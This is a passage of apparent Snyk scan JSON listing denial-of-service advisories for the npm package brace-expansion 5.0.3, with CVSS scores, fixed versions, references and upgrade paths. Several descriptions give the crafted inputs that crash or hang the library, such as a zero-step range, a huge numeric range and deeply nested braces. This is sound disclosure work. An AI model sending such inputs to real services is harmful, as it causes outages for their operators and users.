"socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { 